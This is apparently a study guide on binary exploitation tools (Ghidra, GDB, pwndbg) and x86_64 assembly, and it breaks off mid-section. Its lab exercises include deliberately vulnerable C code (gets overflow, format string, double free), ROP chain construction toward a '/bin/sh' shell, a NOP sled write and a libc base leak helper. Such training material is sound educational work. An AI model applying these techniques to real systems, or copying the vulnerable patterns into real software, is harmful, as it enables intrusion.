Binary Exploitation Knowledge Base

Document Purpose

This knowledge base covers the technical foundations, tools, and methodologies required for modern binary exploitation. It is structured for offline mastery, emphasizing internal mechanisms over surface-level usage patterns.

Ghidra

1. Purpose and Motivation

Ghidra is a software reverse engineering framework developed by the NSA. It exists to transform compiled binaries into human-readable representations, enabling vulnerability research without source code. The primary problem it solves is bridging the semantic gap between machine code and developer intent through automated analysis pipelines.

Unlike simple disassemblers, Ghidra performs:

- Control flow graph recovery
- Data flow analysis
- Type propagation
- Function signature inference
- Cross-reference mapping

This automation accelerates the cognitive load of understanding complex binaries where manual analysis would take weeks.

2. Internal Mechanics

Ghidra operates through a multi-stage pipeline:

1. Loader Phase:

- Parses binary format (ELF, PE, Mach-O)
- Maps segments into memory model
- Identifies entry points and external references
- Constructs initial symbol table from dynamic/static symbols

2. Disassembly Phase:

- Linear sweep from known code regions
- Recursive descent from entry points
- Pattern matching for function prologues
- Distinguishes code from data using heuristics

3. Decompilation Phase:

- Converts assembly to p-code (intermediate representation)
- P-code is architecture-neutral, SSA-form microcode
- Type inference via lattice-based analysis
- Control flow structuring (loops, conditionals)
- Variable recovery from stack frames and registers

Key Data Structures:

- **Program Database:** All analysis stored in serialized XML
- **P-code Operations:** 60+ ops (COPY, LOAD, STORE, CALL, BRANCH, etc.)
- **Symbol Tree:** Hierarchical namespace for functions/variables
- **Function Call Graph:** Interprocedural relationships

Decompiler Algorithm:

1. Translate instructions to p-code
2. Build SSA form with phi nodes
3. Apply constant propagation, dead code elimination
4. Infer types from operations (pointer arithmetic → pointer type)
5. Structure control flow (reverse dominator tree analysis)
6. Cast operations generate type constraints
7. Render as C-like pseudocode

3. Role in the Exploit Chain

Ghidra operates in the **reconnaissance and analysis** phase:

- **Binary understanding:** Identify vulnerable functions, memory operations
- **Gadget discovery:** Locate ROP/JOP gadgets through instruction search
- **Vulnerability identification:** Spot buffer operations without bounds checks
- **Offset calculation:** Determine structure layouts for heap/stack exploitation
- **Patch analysis:** Compare binaries to identify security fixes

Without Ghidra or equivalent tools, exploit developers must manually trace execution flow, an error-prone process for binaries exceeding 10k instructions.

4. Offline Mastery Strategy

Core Resources (offline sufficient):

- Ghidra installation with processor modules
- Sample binaries (compile your own C/C++ programs with varying optimization levels)
- Ghidra documentation (ships with installation)
- Ghidra scripting API reference (HTML docs)

Mastery Path:

1. **Weeks 1-2:** Analyze simple binaries (single-file C programs)

    - Understand function detection accuracy
    - Learn to rename functions/variables
    - Practice type propagation

2. **Weeks 3-4:** Complex binaries with optimizations

    - O2/O3 compiled code
    - Inlined functions
    - Jump tables

3. **Weeks 5-6:** Stripped binaries

    - No symbol information
    - Function boundary identification
    - Calling convention inference

4. **Weeks 7-8:** Ghidra scripting

    - Write Python/Java scripts for pattern matching
    - Automate gadget searches
    - Custom analysis passes

Self-Verification:

- Can you reconstruct source-level logic from stripped binaries?
- Can you identify all functions in a 50KB binary within 30 minutes?
- Can you write scripts to find specific instruction patterns?

5. Practical Offline Exercises

Exercise 1: Function Boundary Recovery

```
// Compile with: gcc -O2 -fomit-frame-pointer -s test.c
void func_a(int x) { if (x > 10) func_b(x-1); }
void func_b(int x) { if (x < 5) func_c(x*2); }
void func_c(int x) { printf("%d\n", x); }
int main() { func_a(15); }
```

Task: Strip symbols, identify all function boundaries, explain why Ghidra succeeded/failed.

Exercise 2: Type Inference Create a program with:

- Pointer arithmetic
- Structure dereferencing
- Array indexing
- Function pointers

Analyze with Ghidra and verify inferred types match source.

Exercise 3: Control Flow Structuring

```
// Obfuscated control flow
int x = read_input();
switch(x) {
    case 1: goto lab1;
    case 2: goto lab2;
    // ... many cases
}
lab1: // complex logic
lab2: // more logic
```

Task: Assess decompiler quality on goto-heavy code.

Exercise 4: Custom Analysis Script Write a Ghidra script to:

- Find all calls to `strcpy`/`memcpy`
- Check if length parameter is user-controlled
- Flag potential buffer overflows

Exercise 5: Patch Detection Compile a program twice with a single-line change. Use Ghidra's version tracking to identify the modification.

6. Common Mistakes and False Mental Models

Mistake 1: Trusting Decompiled Code Semantics

- False model: "Decompiler output is equivalent to original source"
- Reality: Type inference is heuristic; many valid interpretations exist
- Example: `*(int*)(buf+4)` might be shown as `buf[1]` if buf typed as `int*`
- Expert approach: Verify critical logic in assembly, use decompiler for orientation

Mistake 2: Ignoring P-code

- False model: "Decompiler directly translates assembly to C"
- Reality: P-code intermediate allows cross-architecture analysis
- Expert insight: Understanding p-code reveals why certain constructs decompile poorly

Mistake 3: Over-reliance on Auto-analysis

- False model: "Ghidra finds everything automatically"
- Reality: Indirect calls, computed jumps, data-as-code require manual intervention
- Example: JIT compilers, interpreters, packers defeat automated analysis

Mistake 4: Type Confusion

- False model: "If Ghidra shows `char*`, it's definitely a string"
- Reality: Could be raw buffer, union member, or type system approximation
- Expert check: Cross-reference with actual memory operations

Mistake 5: Function Signature Assumptions

- False model: "Detected calling convention is always correct"
- Reality: Compiler optimizations can violate ABI (tail calls, register reuse)
- Expert approach: Validate assumptions with dynamic analysis

7. Connections to Other Tools and Concepts

Dependencies:

- **ELF format knowledge:** Understand what Ghidra parses
- **Assembly fluency:** Verify decompiler output
- **Compiler optimization awareness:** Predict decompiler challenges

Tools Ghidra Enables:

- **pwntools:** Export function addresses for exploit scripts
- **ROPgadget:** Identify candidate instructions
- **GDB integration:** Set breakpoints at Ghidra-discovered addresses

Complementary Tools:

- **IDA Pro:** Superior for obfuscated/packed binaries (better heuristics)
- **Binary Ninja:** Faster iteration on MLIL (medium-level IL)
- **radare2:** Scriptable alternative for batch processing

Workflow Integration:

```
Ghidra (static analysis) → identify vulnerability
    ↓
GDB (dynamic analysis) → confirm exploitability
    ↓
pwntools → weaponize
```

8. Expert Notes

Performance Characteristics:

- Ghidra loads entire binary into memory; 100MB+ binaries cause lag
- Decompiler timeout threshold: ~30 seconds per function
- Workaround: Disable auto-analysis, selectively analyze functions

Version Tracking Limitations:

- Effective for <10% code changes
- Large refactors defeat correlation algorithm
- Better for security patch diffing than major updates

Headless Analysis:

```
analyzeHeadless /project_dir project_name -import binary.elf \
  -postScript my_script.py -deleteProject
```

Critical for automation; GUI is development environment only.

P-code Insight: Register renaming in p-code reveals true data dependencies:

```
Assembly: mov eax, [rbp-4]; add eax, 1; mov [rbp-4], eax
P-code:   v1 = LOAD rbp-4; v2 = INT_ADD v1, 1; STORE rbp-4, v2
```

This clarity aids vulnerability pattern matching.

Anti-Analysis Resistance: Ghidra struggles with:

- Self-modifying code
- Virtualization obfuscators (Themida, VMProtect)
- Custom instruction encoding
- Deliberate control flow flattening

Mitigation: Use emulation (QEMU, Unicorn) to dump post-decryption state, then import.

Scripting Power: Ghidra's Java API allows AST manipulation:

```
from ghidra.program.model.pcode import HighFunctionDBUtil
# Access full SSA form, not just decompiled text
high_func = HighFunctionDBUtil.readOverride(func)
for op in high_func.getPcodeOps():
    if op.getOpcode() == PcodeOp.CALL:
        # Analyze call targets
```

This enables sophisticated taint analysis, custom dataflow checks.

Memory Considerations: Ghidra requires ~4GB RAM for typical analysis. Large binaries (1GB+) need 16GB+ and SSD storage for database responsiveness.

GDB (GNU Debugger)

1. Purpose and Motivation

GDB exists to provide runtime introspection of process state, enabling developers and security researchers to observe program behavior at arbitrary execution points. Unlike static analysis, GDB reveals:

- Actual memory contents (heap/stack layout)
- Register state at specific instructions
- Dynamic control flow decisions
- Runtime library interactions

For exploitation, GDB transitions abstract vulnerabilities into concrete primitives by exposing exact offsets, gadget addresses, and memory corruption effects.

2. Internal Mechanics

Process Attachment Mechanisms: GDB uses ptrace() system call on Linux:

```
ptrace(PTRACE_ATTACH, target_pid, NULL, NULL);  // Attach to process
ptrace(PTRACE_PEEKDATA, pid, addr, NULL);        // Read memory
ptrace(PTRACE_POKEDATA, pid, addr, value);       // Write memory
ptrace(PTRACE_SINGLESTEP, pid, NULL, NULL);      // Execute one instruction
```

Breakpoint Implementation:

- Software breakpoints: Replace instruction with `int3` (0xCC on x86)
- Hardware breakpoints: Use debug registers (DR0-DR3, 4 available)
- Conditional breakpoints: GDB checks condition after every `int3` hit

Watchpoint Mechanism:

- Uses hardware debug registers (DR7 controls trigger conditions)
- Can watch memory regions for read/write/execute
- Limited to 4 concurrent watchpoints (architectural limit)

Symbol Resolution:

- GDB parses `.symtab` and `.dynsym` ELF sections
- DWARF debug info provides source-line mapping

- Without symbols: Disassembles at runtime via instruction decoder

Remote Debugging:

- gdbserver on target, GDB client on analyst machine
- RSP (Remote Serial Protocol) for communication
- Packet format: `$<data>#<checksum>`

3. Role in the Exploit Chain

GDB operates in **vulnerability validation and primitive development**:

1. **Crash Analysis:** Determine instruction pointer control via `info registers`
2. **Offset Calculation:** Measure buffer positions relative to saved RIP
3. **Gadget Testing:** Verify ROP chains execute as expected
4. **ASLR Bypass:** Read runtime addresses from GOT/PLT
5. **Heap Layout:** Inspect chunk metadata to confirm use-after-free conditions
6. **Exploit Tuning:** Single-step through payload to identify failures

Critical Capability: GDB answers "what is the exact state when my payload executes?" — the difference between theory and working exploit.

4. Offline Mastery Strategy

Prerequisites:

- Solid assembly knowledge (x86/x64)
- Process memory layout understanding
- ELF format basics

Phase 1: Core Mechanics (Week 1-2)

- Start/stop processes
- Set breakpoints (address, function, line)
- Examine registers and memory
- Modify values during execution

Phase 2: Advanced Inspection (Week 3-4)

- Stack frame navigation (`backtrace`, `frame`)
- Memory mapping (`info proc mappings`)
- Symbol manipulation (`set`, `print`)
- Conditional breakpoints

Phase 3: Exploit Development (Week 5-6)

- Pattern generation for offset discovery
- Heap chunk analysis
- ROP chain validation
- Shellcode injection testing

Phase 4: Automation (Week 7-8)

- GDB Python API
- Custom commands
- Automated exploit proof-of-concept validation

Self-Verification Checkpoints:

- Can you find stack buffer overflow offset without tools?
- Can you manually walk the heap free list?
- Can you set breakpoints on syscalls?
- Can you script repetitive debugging tasks?

5. Practical Offline Exercises

Exercise 1: Manual Offset Calculation

```c
// vuln.c
void vuln() {
    char buf[64];
    gets(buf);
}
int main() { vuln(); }
```

Compile: `gcc -fno-stack-protector -no-pie vuln.c`

Tasks:

1. Find offset to saved RIP by filling buffer with pattern

2. Verify control with: `x/x $rsp` at `ret` instruction
3. Calculate offset manually (no tools)

Exercise 2: Watchpoint Practice

```c
int global = 0;
void func() {
    global = 42;  // Who writes to global?
    // ... thousands of lines
}
```

Set watchpoint: `watch global`, identify all modification points.

Exercise 3: Heap Chunk Inspection

```c
char *p1 = malloc(128);
char *p2 = malloc(128);
free(p1);
// Inspect chunk metadata
```

Tasks:

1. Examine p1 chunk structure: `x/20gx p1-16` (chunk header at -16 bytes)
2. Identify fd/bk pointers in free chunk
3. Verify tcache linkage

Exercise 4: ROP Chain Validation Create simple ROP chain: `pop rdi; ret` → `pop rsi; ret` → `syscall`

Tasks:

1. Set breakpoint on each gadget
2. Verify register state after each gadget
3. Identify why chain fails (if it does)

Exercise 5: GDB Scripting Write Python script to:

```python
# Auto-break on all calls to dangerous functions
dangerous = ['strcpy', 'gets', 'sprintf']
for func in dangerous:
    gdb.Breakpoint(func)
```

6. Common Mistakes and False Mental Models

Mistake 1: Ignoring ASLR During Testing

- False model: "I tested my exploit in GDB, it should work"
- Reality: GDB disables ASLR by default (`set disable-randomization off`)
- Expert practice: Always test with ASLR enabled

Mistake 2: Misunderstanding Breakpoint Side Effects

- False model: "Breakpoints are invisible to the program"
- Reality: Software breakpoints modify code; can affect timing-sensitive exploits
- Example: Race condition exploits may behave differently under debugging
- Mitigation: Use hardware breakpoints (`hbreak`) for timing-critical code

Mistake 3: Stack Address Assumptions

- False model: "Stack addresses stay constant between runs"
- Reality: Even with ASLR off, environment variables affect initial stack position
- Expert check: `info proc mappings` to verify addresses

Mistake 4: Register Clobbering Confusion

- False model: "I can trust register values after function call"
- Reality: Caller-saved registers (rax, rcx, rdx, rdi, rsi, r8-r11) are volatile
- Common error: Expecting payload address in rax after `call` instruction

Mistake 5: Symbol Resolution Over-reliance

- False model: "If GDB shows a function name, it's correct"
- Reality: Stripped binaries use heuristics; PLT stubs can confuse symbol lookup
- Expert approach: Verify with `disassemble` and cross-check instructions

Mistake 6: Single-Step Timing

- False model: "Single-stepping is same as normal execution"
- Reality: Signal delivery, thread scheduling differs under tracing
- Example: Multi-threaded programs behave differently when traced

7. Connections to Other Tools and Concepts

Foundational Dependencies:

- **ptrace system call:** GDB's core mechanism
- **ELF format:** Symbol tables, section headers
- **Calling conventions:** Understand register usage during debugging
- **Assembly language:** Interpret disassembly output

Tools That Extend GDB:

- **pwndbg:** Heap visualization, exploit development commands
- **GEF:** Similar to pwndbg with different UI
- **rr (record-replay):** Deterministic debugging, reverse execution
- **Valgrind:** Memory error detection (different approach than GDB)

Integration with Exploit Development:

```
GDB → discover gadget addresses → pwntools script
GDB → validate heap layout → adjust exploit timing
GDB → test shellcode → refine until execution
```

Complementary Analysis:

- **strace:** Syscall tracing (higher level than GDB)
- **ltrace:** Library call tracing
- **Ghidra/IDA:** Static analysis informs GDB breakpoint placement

Advanced Integration: GDB can be scripted to collaborate with other tools:

```python
# GDB Python API example
import gdb
import socket

class ExploitHelper(gdb.Command):
    def invoke(self, arg, from_tty):
        # Read leaked addresses from debugged process
        libc_base = gdb.parse_and_eval("&system") - 0x50d60
        # Send to external exploit script
        sock = socket.socket()
        sock.connect(("localhost", 9999))
        sock.send(str(libc_base))
```

8. Expert Notes

Performance Characteristics:

- Software breakpoints: Minimal overhead when not hit
- Conditional breakpoints: Evaluated in GDB process, significant slowdown (10-100x)
- Watchpoints: Page-fault based, extremely slow if watched region is frequently accessed
- Hardware breakpoints: Fast but limited to 4 concurrent

Debugging Optimized Code: Compiler optimizations break source-line debugging:

- Inlined functions: No stack frame to inspect
- Register-only variables: Not in memory
- Reordered instructions: Source line ↔ instruction mismatch

Workaround: Compile with `-Og` (optimize for debugging) during development.

Multi-threaded Debugging:

```
(gdb) set scheduler-locking on  # Lock to current thread
(gdb) thread apply all bt        # Backtrace all threads
(gdb) thread <n>                 # Switch to thread n
```

Race conditions require deterministic replay (use rr).

Remote Target Considerations: When debugging embedded systems or VMs:

- Memory access is slow (network latency)
- Breakpoints may not work (no int3 support on some architectures)
- Use RSP carefully to minimize round trips

GDB Python API Power: Access internal structures:

```
inferior = gdb.selected_inferior()
memory = inferior.read_memory(address, length)
```

```
# Parse heap structures, automate exploit validation
```

Signal Handling: GDB catches signals before the program:

```
(gdb) handle SIGSEGV nostop pass  # Let segfaults reach program
```

Critical for testing exploit payloads that intentionally crash.

Reverse Debugging (with rr):

```
(gdb) reverse-continue  # Run backwards to previous breakpoint
(gdb) reverse-step      # Undo last instruction
```

Invaluable for understanding exploit failures.

Memory Examination Shortcuts:

```
x/20wx $rsp        # 20 words (hex) from stack pointer
x/s 0x400000       # String at address
x/i $rip           # Instruction at current PC
```

Exploit-Specific GDB Commands:

```
# Find all ROP gadgets in memory region
(gdb) find /b 0x400000, 0x401000, 0xc3  # Find 'ret' instructions
(gdb) set *0x7ffffffde000 = 0x90909090  # NOP sled injection
```

Pitfall: Symbol Stripping Detection:

```
(gdb) info functions
```

If empty: binary is stripped. Use addresses and disassembly exclusively.

Core Dump Analysis:

```
gdb /path/to/binary /path/to/core
(gdb) bt  # Backtrace at crash
```

```
(gdb) info registers  # State at crash
```

Post-mortem analysis when live debugging unavailable.

---

pwndbg

1. Purpose and Motivation

pwndbg is a GDB enhancement plugin that transforms GDB from a general-purpose debugger into a specialized exploit development environment. It solves the problem of repetitive manual inspection during binary exploitation by:

- Automatically displaying context (registers, stack, code, backtrace) on every step
- Providing heap visualization commands that decode allocator metadata
- Offering exploit-development primitives (ROP searching, format string helpers)
- Enhancing memory inspection with semantic awareness (pointers, strings, code)

Without pwndbg, exploit developers spend 70%+ of debugging time on repetitive memory examination commands. pwndbg automates this cognitive overhead.

2. Internal Mechanics

Architecture: pwndbg is a Python GDB extension that hooks into GDB's event system:

```
# Core hook pattern
def stop_handler(event):
    if isinstance(event, gdb.StopEvent):
        display_context()  # Trigger on every stop

gdb.events.stop.connect(stop_handler)
```

Context Display Pipeline:

1. **Register Context:** Queries `gdb.parse_and_eval("$reg")` for all GPRs
2. **Code Context:** Disassembles around `$rip` using GDB's disassembler
3. **Stack Context:** Reads memory at `$rsp`, annotates values (code pointers, strings)

4. **Backtrace:** Walks stack frames via GDB's unwinder

Heap Commands Implementation:

- `heap` command parses glibc malloc internals:
    - Reads `main_arena` structure from glibc's global state
    - Follows chunk linked lists (fd/bk pointers)
    - Decodes size/flags bitfield in chunk headers
    - Visualizes tcache, fastbins, unsorted bins

Memory Annotation: pwndbg maintains value cache:

- Detects if memory contains valid pointers
- Identifies code pointers (instruction bytes match valid opcodes)
- Recognizes strings (consecutive printable ASCII)
- Maps addresses to sections (heap, stack, binary, libc)

Integration Points:

- Extends GDB command namespace (defines new commands)
- Overrides default `display` behavior
- Hooks process start/stop events
- Reads from /proc/PID/maps for memory layout

3. Role in the Exploit Chain

pwndbg operates in **primitive development and exploitation refinement**:

1. **Gadget Discovery:** `rop` command searches for ROP gadgets in loaded libraries
2. **Heap Feng Shui:** Visualize bin states to perfect heap grooming
3. **Leak Validation:** Instantly see if addresses are canonical/valid
4. **Crash Analysis:** Automatic context at crash point shows control status
5. **Shellcode Testing:** Examine register state to debug syscall arguments

Key Distinction from GDB:

- GDB answers "what is the current state?"
- pwndbg answers "what does this state mean for exploitation?"

Example: After buffer overflow, GDB shows `$rip = 0x4141414141414141`. pwndbg additionally shows:

- "RIP register now points to invalid memory"
- "Distance from buffer start: 72 bytes"
- "Nearby ROP gadgets in libc"

4. Offline Mastery Strategy

Prerequisites:

- Proficiency with vanilla GDB
- Understanding of ELF sections and memory layout
- Basic heap allocator knowledge

Installation (Offline):

```
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh  # Installs dependencies, configures GDB
```

Learning Path:

Week 1: Context Understanding

- Launch simple programs under pwndbg
- Observe automatic context display
- Learn to interpret register flags (zero, carry, etc.)
- Practice reading disassembly with inline comments

Week 2: Memory Commands

- `telescope` command (enhanced memory viewer)
- `vmmap` (memory region listing)
- `search` (pattern searching in memory)
- `xinfo` (comprehensive address information)

Week 3: Heap Analysis

- `heap` command family (bins, chunks, arenas)

- `vis_heap_chunks` (visual chunk layout)
- `arena` (multiple arena support)
- Practice on custom malloc programs

Week 4: Exploitation Primitives

- `rop` (gadget searching)
- `cyclic` (pattern generation/offset finding)
- `checksec` (binary protection status)
- `got` (GOT/PLT inspection)

Self-Verification:

- Can you identify exploitation primitives within 30 seconds of crash?
- Can you navigate heap bins without manual pointer following?
- Can you find suitable ROP gadgets without external tools?
- Can you customize pwndbg display for your workflow?

5. Practical Offline Exercises

Exercise 1: Context Interpretation Speed Drill Compile various crashes (stack overflow, format string, use-after-free). Practice identifying:

- Exact crash cause from register context
- Whether registers are controllable
- Location in binary/library
- Target within 10 seconds per crash

Exercise 2: Heap Visualization

```c
int main() {
    void *p1 = malloc(100);
    void *p2 = malloc(200);
    void *p3 = malloc(150);
    free(p2);
    void *p4 = malloc(180);  // Where does this chunk come from?
}
```

Tasks:

1. Use `vis_heap_chunks` to see layout

2. Predict chunk reuse before `malloc(180)`
3. Verify with `heap` command
4. Explain bin selection logic

Exercise 3: ROP Gadget Discovery Given binary with NX enabled:

```
(pwndbg) rop --grep "pop rdi"
(pwndbg) rop --grep "pop rsi"
(pwndbg) rop --grep "syscall"
```

Build `execve("/bin/sh", NULL, NULL)` chain using only pwndbg gadget search.

Exercise 4: Format String Exploitation

```
void vuln(char *input) {
    printf(input);  // Vulnerable
}
```

Tasks:

1. Use `fmtstr` command to identify offset
2. Calculate write addresses with pwndbg's address display
3. Verify writes with `telescope`

Exercise 5: Tcache Poisoning Visualization

```
void *a = malloc(100);
void *b = malloc(100);
free(a);
free(b);
free(a);  // Double free
```

Use `tcachebins` to observe poisoning, predict next `malloc()` return value.

Exercise 6: Custom Command Creation Write pwndbg extension:

```
import pwndbg.commands

@pwndbg.commands.ParsedCommand
def find_writable():
    """Find all writable non-executable regions"""
    for page in pwndbg.vmmap.get():
        if page.write and not page.execute:
            print(f"{hex(page.start)}-{hex(page.end)}")
```

6. Common Mistakes and False Mental Models

Mistake 1: Over-reliance on Automation

- False model: "pwndbg shows everything I need"
- Reality: Automation can miss custom allocators, anti-debug tricks
- Example: Custom heap implementation won't be recognized by `heap` command
- Expert approach: Use pwndbg as starting point, verify with manual inspection

Mistake 2: Misinterpreting Heap Commands

- False model: "`heap` shows complete heap state"
- Reality: Only shows glibc malloc structures; doesn't catch off-by-one corruptions
- Common error: Trusting chunk sizes without verifying prev_inuse bit
- Expert check: Cross-reference with raw memory (`x/20gx chunk_address`)

Mistake 3: Gadget Quality Assumptions

- False model: "Any gadget `rop` finds is usable"
- Reality: Gadgets may have side effects (clobber registers, modify memory)
- Example: `pop rdi; ret` at address that's preceded by bad instructions
- Expert practice: Disassemble gadget context, check prior bytes

Mistake 4: Symbol Confusion

- False model: "pwndbg symbols are always accurate"
- Reality: Stripped binaries + heuristics = potential misidentification
- Example: PLT stubs identified as functions
- Mitigation: Verify with `xinfo address` to see all aliases

Mistake 5: Context Window Blindness

- False model: "What's shown is all that matters"
- Reality: Context display is limited by screen space
- Common miss: Important state change 20 instructions before current RIP

- Expert habit: Use `context code 50` to expand view when debugging

Mistake 6: Memory Annotation Trust

- False model: "If pwndbg marks it as a pointer, it's valid"
- Reality: Pointer detection is pattern-matching; false positives exist
- Example: Integer `0x00007ffff7a00000` looks like stack address
- Expert check: Dereference and verify accessibility

7. Connections to Other Tools and Concepts

Extends:

- **GDB:** All vanilla GDB commands remain available
- **Python GDB API:** pwndbg commands are Python functions

Depends On:

- **GDB internals:** Process control, symbol tables, disassembler
- **/proc filesystem:** Memory maps, auxv
- **glibc source knowledge:** Heap command parsers mirror glibc structures
- **capstone/unicorn:** Some pwndbg features use these for emulation

Enables:

- **Faster exploit development:** Reduces iteration time 5-10x
- **pwntools integration:** Copy addresses directly into exploit scripts
- **Educational tool:** Visualizes abstract concepts (heap bins, stack frames)

Alternative Frontends:

- **GEF:** Similar functionality, different UI philosophy
- **PEDA:** Older, less maintained
- Both use same GDB hooks, choose based on preference

Workflow Integration:

```
[Static Analysis with Ghidra]
        ↓
```

```
[Identify vulnerability location]
        ↓
[Load in pwndbg, set breakpoint]
        ↓
[Observe exploitation primitive with context]
        ↓
[Extract addresses/offsets for pwntools]
```

Integration with Other Debuggers: pwndbg concepts apply to other debuggers:

- WinDbg extensions for Windows exploitation
- LLDB with custom scripts for macOS
- Core principles transfer: contextual display, semantic annotation

8. Expert Notes

Performance Considerations:

- Context display adds 100-500ms per stop
- Heap commands can be slow on fragmented heaps (1000+ chunks)
- Disable features for performance: `set context-sections ""`
- Selective enabling: `set context-sections regs,code`

Custom Configuration:

```
# ~/.gdbinit-gef.py or ~/.pwndbg/gdbinit.py
import pwndbg
pwndbg.config.set("context-sections", "regs,code,stack")
pwndbg.config.set("context-code-lines", 20)
```

Heap Command Deep Dive: When `heap` fails (custom allocator), build your own parser:

~~~
```python
import pwndbg.memory

def read_chunk(addr):
    """Read custom allocator chunk structure"""
    # Assuming custom format: [size:8][flags:8][data:N]
    size = pwndbg.memory.u64(addr)
    flags = pwndbg.memory.u64(addr + 8)
    return {'size': size, 'flags': flags, 'data_start': addr + 16}
~~~

```
@pwndbg.commands.ParsedCommand
def custom_heap():
    """Display custom heap layout"""
    heap_start = pwndbg.memory.u64(pwndbg.symbol.address('heap_base'))
    current = heap_start
    while current < heap_start + 0x10000:
        chunk = read_chunk(current)
        print(f"Chunk @ {hex(current)}: size={chunk['size']}, flags=
{chunk['flags']}")
        current += chunk['size']
```

Advanced Gadget Searching:

```
# Find conditional jump gadgets for BROP
(pwndbg) rop --grep "j.*; ret"

# Find gadgets in specific library
(pwndbg) rop --grep "pop rdi" libc

# Regex for complex patterns
(pwndbg) rop --grep "xor.*; xor.*; ret"
```

Memory Search Patterns:

```
# Find all pointers to specific address
(pwndbg) search -t pointer 0x7ffff7a00000

# Find ROP chain already in memory
(pwndbg) search -8 0x0000000000401234  # Specific gadget address

# Find format string offset
(pwndbg) fmtarg 0x7fffffffde00  # Target address
```

Remote Debugging Optimization: When using gdbserver over network:

- Disable automatic context updates: `set context-output /dev/null`
- Manually trigger with `ctx` command when needed
- Reduces network round trips from 50+ per step to 1

Heap Arena Navigation: Multi-threaded programs have multiple arenas:

```
(pwndbg) arena           # List all arenas
(pwndbg) arena 1         # Switch to arena 1
(pwndbg) heap            # View selected arena's bins
```

Telescope Enhancement:

```
# Follow pointer chains deeper
(pwndbg) telescope $rsp 50  # 50 lines of stack

# Custom telescope from arbitrary address
(pwndbg) telescope 0x7fffffffde00 20

# Annotate specific regions
(pwndbg) telescope --annotate heap 0x555555559000
```

Integration with pwntools:

```
# In exploit script
from pwn import *

context.binary = './vuln'
p = gdb.debug('./vuln', '''
    break *vuln+42
    continue
''')

# pwndbg commands execute automatically
# Inspect state, then return to script
p.sendline(payload)
```

Checksec Interpretation:

```
(pwndbg) checksec
RELRO:    Partial RELRO  # GOT writable
Stack:    No canary      # Stack buffer overflows easier
NX:       NX enabled     # Need ROP, can't execute stack
PIE:      No PIE         # Fixed addresses
```

Maps directly to exploitation strategy:

- No PIE → Use fixed addresses
- Partial RELRO → GOT overwrite possible
- NX → Prepare ROP chain
- No canary → Direct overflow to RIP

Debugging pwndbg Itself: When pwndbg command fails:

```
(gdb) set debug py-unwind on      # Debug Python unwinder
(gdb) py-bt                        # Python backtrace
(gdb) source ~/.gdbinit            # Reload configuration
```

Signal Handling with Context: pwndbg shows signal delivery:

```
─────────────[ SIGNAL ]───────────────
SIGSEGV (Segmentation fault)
  Accessing invalid memory at 0x4141414141414141
```

Immediately identifies exploitation success vs. bug.

Exploit Development Pattern:

```
# Typical workflow
(pwndbg) cyclic 200               # Generate pattern
# Crash program with pattern
(pwndbg) cyclic -l 0x61616171     # Find offset: 64
(pwndbg) rop --grep "pop rdi"     # Find gadget: 0x401234
(pwndbg) x/s <address>            # Verify "/bin/sh" string
(pwndbg) got                      # Check GOT for system address
```

Kernel Debugging with pwndbg: pwndbg works with QEMU + kernel debugging:

```
qemu-system-x86_64 -kernel bzImage -s -S
# In another terminal
gdb vmlinux
(gdb) target remote :1234
(pwndbg) context  # View kernel state
```

Binary Ninja / Ghidra Sync: Export addresses from static analysis, use in pwndbg:

```
# After identifying vulnerability in Ghidra at 0x401550
(pwndbg) break *0x401550
(pwndbg) commands
> heap
> telescope $rsp 30
> continue
> end
```

Memory Leak Automation:

```
@pwndbg.commands.ParsedCommand
def leak_libc():
    """Auto-detect libc base from GOT"""
    got_entries = pwndbg.elf.got()
    for name, addr in got_entries.items():
        val = pwndbg.memory.u64(addr)
        if pwndbg.vmmap.find(val):
            region = pwndbg.vmmap.find(val)
            if 'libc' in region.objfile:
                libc_base = val - pwndbg.elf.libc().symbols[name]
                print(f"libc base: {hex(libc_base)}")
                return
```

ASLR Testing:

```
# Verify ASLR behavior
for i in range(10):
    gdb.execute('run')
    stack_addr = gdb.parse_and_eval('$rsp')
    print(f"Run {i}: RSP = {stack_addr}")
    gdb.execute('kill')
```

Custom Annotation Rules:

```
# Add custom value annotations
@pwndbg.chain.chain
def annotate_custom(value):
    if value == 0xdeadbeef:
        return "MAGIC_VALUE"
    return None
```

Troubleshooting Common Issues:

1. **Context not displaying:**
    - Check `context-sections` config
    - Verify terminal size: `stty size`
    - Test with `context` command manually
2. **Heap commands empty:**
    - Binary not dynamically linked
    - Non-glibc allocator
    - Symbols stripped preventing structure lookup

3. **Slow performance:**
    - Large binaries (100MB+)
    - Excessive breakpoints
    - Context displaying too many lines
    - Solution: Disable vmmap updates with `set vmmap-cache`
4. **Missing gadgets:**
    - Library not loaded yet (run program first)
    - Wrong architecture (x86 vs x64)
    - Search in specific region: `rop --start 0x400000 --end 0x401000`

Security Note: pwndbg displays raw memory contents including passwords, keys. When debugging production systems:

- Use hardware breakpoints to avoid code modification
- Be aware pwndbg logs may contain sensitive data
- Consider `set history save off` to prevent command leakage

---

x86_64 Assembly

1. Purpose and Motivation

x86_64 assembly is the human-readable representation of machine code executed by AMD64/Intel 64 processors. Mastery is non-negotiable for binary exploitation because:

- Compiler output is assembly—understanding it reveals vulnerability mechanics
- Exploits manipulate CPU state—assembly shows exact register/memory effects
- Shellcode is hand-written assembly—no abstraction layer exists
- ROP gadgets are assembly instruction sequences

Without assembly fluency, exploit development becomes cargo-cult pattern matching rather than principled state manipulation.

2. Internal Mechanics

Instruction Encoding: x86_64 uses variable-length encoding (1-15 bytes):

```
Instruction: mov rax, rbx
Encoding:    48 89 D8

Breakdown:
  48       = REX.W prefix (64-bit operand size)
  89       = opcode (MOV r/m64, r64)
  D8       = ModR/M byte (register-direct mode, rax <- rbx)
```

REX Prefix (0x40-0x4F): Enables 64-bit features:

- REX.W (bit 3): 64-bit operand size
- REX.R (bit 2): Extension of ModR/M reg field
- REX.X (bit 1): Extension of SIB index field
- REX.B (bit 0): Extension of ModR/M r/m field

Allows access to r8-r15 registers.

Addressing Modes:

```
[rax]           = Memory at address in rax
[rax + 0x10]    = Memory at rax + 16
[rax + rbx*4]   = Memory at rax + (rbx * 4)
[rip + 0x2000]  = RIP-relative (position-independent code)
```

Register Organization:

- **General Purpose:** rax, rbx, rcx, rdx, rsi, rdi, rbp, rsp, r8-r15
- **Instruction Pointer:** rip (not directly modifiable)
- **Flags:** rflags (zero, carry, overflow, etc.)
- **Segment:** cs, ds, ss, es, fs, gs (largely unused in 64-bit mode except fs/gs for TLS)

Partial Register Access:

```
rax = 64-bit (bits 0-63)
eax = 32-bit (bits 0-31, zeros upper 32)
ax  = 16-bit (bits 0-15)
al  = 8-bit  (bits 0-7)
